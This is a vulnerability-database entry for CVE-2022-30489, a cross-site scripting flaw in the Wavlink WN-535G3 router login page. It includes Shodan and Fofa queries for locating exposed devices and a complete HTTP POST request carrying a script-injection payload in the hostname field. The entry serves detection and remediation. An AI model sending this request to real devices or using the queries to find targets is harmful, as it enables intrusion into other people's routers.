🔙 목록으로 돌아가기

CVE-2022-30489: Wavlink WN-535G3 - Cross-Site Scripting

TitleWavlink WN-535G3 - Cross-Site Scripting
AuthorFor3stCo1d
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest firmware update provided by the vendor to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.29079
CVE IDCVE-2022-30489
CWE IDCWE-79
Shodan Queryhttp.title:"Wi-Fi APP Login"http.html:"wavlink"http.title:"wi-fi app login"
Fofa Querytitle="wi-fi app login"body="wavlink"
Tags cve cve2022 xss wavlink router iot vuln

🔍 Vulnerability Description

Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi.

🌐 HTTP Request

POST /cgi-bin/login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Connection: close
Content-Length: 256
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")</script><script>alert(document.domain);</script>&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-30489.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-30489.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A